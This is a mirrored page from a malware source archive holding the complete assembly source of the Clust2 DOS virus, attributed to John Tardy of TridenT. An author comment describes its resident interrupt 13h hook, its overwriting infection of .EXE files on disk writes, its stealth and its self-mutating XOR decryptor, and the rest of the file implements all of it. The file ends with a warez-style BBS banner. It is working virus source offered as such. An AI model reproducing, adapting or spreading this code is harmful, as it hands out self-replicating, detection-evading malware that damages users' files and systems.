mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
250 lines
5.6 KiB
NASM
250 lines
5.6 KiB
NASM
;
|
||
; Clust2 virus by John Tardy / TridenT
|
||
;
|
||
; Virus Name: Clust2
|
||
; Aliases: Cluster-II, Circus Clusters-II
|
||
; V Status: Released
|
||
; Discovery: Not (yet)
|
||
; Symptoms: .EXE altered, possible "sector not found" errors on disk-drives,
|
||
; decrease in aveable memory
|
||
; Origin: The Netherlands
|
||
; Eff Length: 386 bytes (EXE size doesn't change)
|
||
; Type Code: ORhE - Overwriting Resident .EXE Infector
|
||
; Detection Method:
|
||
; Removal Instructions: Delete infected files or copy infected files with the
|
||
; virus resident to a device driven unit.
|
||
;
|
||
; General Comments:
|
||
; The Clust2 virus is not yet submitted to any antiviral authority. It
|
||
; is from the TridenT Virus Research Centre and was written by someone
|
||
; calling himself John Tardy. When an infected program is started, Clust2
|
||
; will become resident in high memory, but below TOM. It hooks interrupt
|
||
; 13h and will try to load the program again. Because of it's stealth
|
||
; abilities the original program is loaded and will execute normally.
|
||
; The Clust2 virus infects files when a write request for interrupt 13h
|
||
; is done. It will check if the buffer contains the 'MZ' signature and
|
||
; that the candidate file isn't larger than 65000 bytes, and if there are
|
||
; enough zeros in the EXE-header. If these contidions are met, Clust2
|
||
; will convert the EXE file to a COM file and inserts it's code in the
|
||
; buffer, allowing the original write request to proceed. This way it
|
||
; evades critical errors. The Clust2 virus is also stealth and can't be
|
||
; detected with virus scanners or checksumming software if the virus is
|
||
; resident. File-length and date doesn't change regardless if Clust2
|
||
; is resident. It's also a slighty polymorphic virus, mutating a few
|
||
; bytes in it's decryptor. A wildcarded string is needed to find it.
|
||
; The following text is encrypted within the
|
||
; virus:
|
||
;
|
||
; "[Clust2]"
|
||
; "JT / TridenT"
|
||
;
|
||
; The Clust2 virus not infect files on device driven units, like drives
|
||
; compressed with DoubleSpace. It will disinfect when copied to such a
|
||
; device.
|
||
;
|
||
; Sometimes it will issue a "sector not found" error when a file is
|
||
; copied to a disk drive.
|
||
;
|
||
; The Clust2 virus doesn't do anything besides replicating.
|
||
;
|
||
ORG 100H
|
||
|
||
JUMPIE: JMP SHORT JUMPER
|
||
|
||
ORG 180H
|
||
|
||
JUMPER: CLC
|
||
MOV CX,DECRLEN
|
||
MORPH EQU $-2
|
||
JASS: LEA SI,DECR
|
||
DECRYPT: XOR BYTE PTR [SI],0
|
||
TRIG EQU $-1
|
||
TRAG EQU $-2
|
||
TROG: INC SI
|
||
TREG: LOOP DECRYPT
|
||
|
||
DECR: MOV AX,3513H
|
||
INT 21H
|
||
MOV OLD13,BX
|
||
MOV OLD13[2],ES
|
||
MOV AX,ES:[BX]
|
||
CMP AX,0FC80H
|
||
JE EXIT
|
||
|
||
DOINST: MOV AH,0DH
|
||
INT 21H
|
||
|
||
MOV AX,CS
|
||
DEC AX
|
||
MOV DS,AX
|
||
CMP BYTE PTR DS:[0],'Z'
|
||
JNE EXIT
|
||
RESIT: SUB WORD PTR DS:[3],VIRPAR+19H
|
||
SUB WORD PTR DS:[12H],VIRPAR+19H
|
||
LEA SI,JUMPER
|
||
MOV DI,SI
|
||
MOV ES,DS:[12H]
|
||
MOV DS,CS
|
||
MOV CX,VIRLEN
|
||
REP MOVSB
|
||
|
||
MOV AX,2513H
|
||
MOV DS,ES
|
||
LEA DX,NEW13
|
||
INT 21H
|
||
|
||
PUSH CS
|
||
POP ES
|
||
MOV BX,100H
|
||
MOV SP,BX
|
||
MOV AH,4AH
|
||
INT 21H
|
||
PUSH CS
|
||
POP DS
|
||
MOV BX,DS:[2CH]
|
||
MOV ES,BX
|
||
MOV AH,49H
|
||
INT 21H
|
||
|
||
XOR AX,AX
|
||
MOV DI,1
|
||
SEEK: DEC DI
|
||
SCASW
|
||
JNE SEEK
|
||
|
||
LEA SI,DS:[DI+2]
|
||
EXEC: PUSH BX
|
||
PUSH CS
|
||
POP DS
|
||
MOV BX,OFFSET PARAM
|
||
MOV DS:[BX+4],CS
|
||
MOV DS:[BX+8],CS
|
||
MOV DS:[BX+12],CS
|
||
POP DS
|
||
PUSH CS
|
||
POP ES
|
||
|
||
MOV DI,OFFSET FILENAME
|
||
PUSH DI
|
||
MOV CX,40
|
||
REP MOVSW
|
||
PUSH CS
|
||
POP DS
|
||
|
||
POP DX
|
||
|
||
MOV AX,4B00H
|
||
INT 21H
|
||
EXIT: MOV AH,4DH
|
||
INT 21H
|
||
MOV AH,4CH
|
||
INT 21H
|
||
|
||
OLD13 DW 0,0
|
||
|
||
ORG13: JMP D CS:[OLD13]
|
||
|
||
NEW13: CMP AH,3
|
||
JE CHECKEXE
|
||
CMP AH,2
|
||
JNE ORG13
|
||
DO: PUSHF
|
||
CALL D CS:[OLD13]
|
||
CMP ES:[BX],7EEBH
|
||
JNE ERROR
|
||
MOV ES:[BX],'ZM'
|
||
PUSH DI
|
||
PUSH CX
|
||
PUSH AX
|
||
|
||
MOV CX,VIRLEN
|
||
XOR AX,AX
|
||
LEA DI,BX[80H]
|
||
REP STOSB
|
||
|
||
POP AX
|
||
POP CX
|
||
POP DI
|
||
ERROR: IRET
|
||
|
||
CHECKEXE: CMP ES:[BX],'ZM'
|
||
JNE ORG13
|
||
|
||
CMP W ES:BX[4],(65000/512)
|
||
JNB ORG13
|
||
|
||
PUSH AX
|
||
PUSH CX
|
||
PUSH SI
|
||
PUSH DI
|
||
PUSH DS
|
||
|
||
PUSH ES
|
||
POP DS
|
||
LEA SI,BX[80H]
|
||
MOV DI,SI
|
||
MOV CX,VIRLEN
|
||
FIND0: LODSB
|
||
OR AL,AL
|
||
LOOPE FIND0
|
||
OR CX,CX
|
||
JNE NO0
|
||
|
||
XOR AX,AX
|
||
MOV DS,AX
|
||
MOV AX,DS:[046CH]
|
||
PUSH CS
|
||
POP DS
|
||
TEST AH,1
|
||
JZ NOLOOPFLIP
|
||
XOR B TREG,2
|
||
NOLOOPFLIP: TEST AH,2
|
||
JZ NOCLCFLIP
|
||
XOR B JUMPER,1
|
||
NOCLCFLIP:
|
||
ADD AX,VIRLEN
|
||
SHR AX,1
|
||
MOV W MORPH,AX
|
||
MOV B TRIG,AH
|
||
XOR B TRAG,1
|
||
XOR B JASS,1
|
||
XOR B TROG,1
|
||
MOV CX,CRYPT
|
||
LEA SI,JUMPER
|
||
REP MOVSB
|
||
MOV CX,DECRLEN
|
||
LEA SI,DECR
|
||
CODEIT: LODSB
|
||
XOR AL,AH
|
||
STOSB
|
||
LOOP CODEIT
|
||
MOV DI,BX
|
||
MOV AX,07EEBH
|
||
STOSW
|
||
|
||
NO0: POP DS
|
||
POP DI
|
||
POP SI
|
||
POP CX
|
||
POP AX
|
||
JMP ORG13
|
||
|
||
DB '[Clust2]'
|
||
|
||
PARAM DW 0,80H,?,5CH,?,6CH,?
|
||
|
||
DB 'JT / TridenT'
|
||
|
||
FILENAME EQU $
|
||
DECRLEN EQU $-DECR
|
||
CRYPT EQU DECR-JUMPER
|
||
VIRLEN EQU $-JUMPER
|
||
VIRPAR EQU ($-JUMPER)/16
|
||
|
||
|
||
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|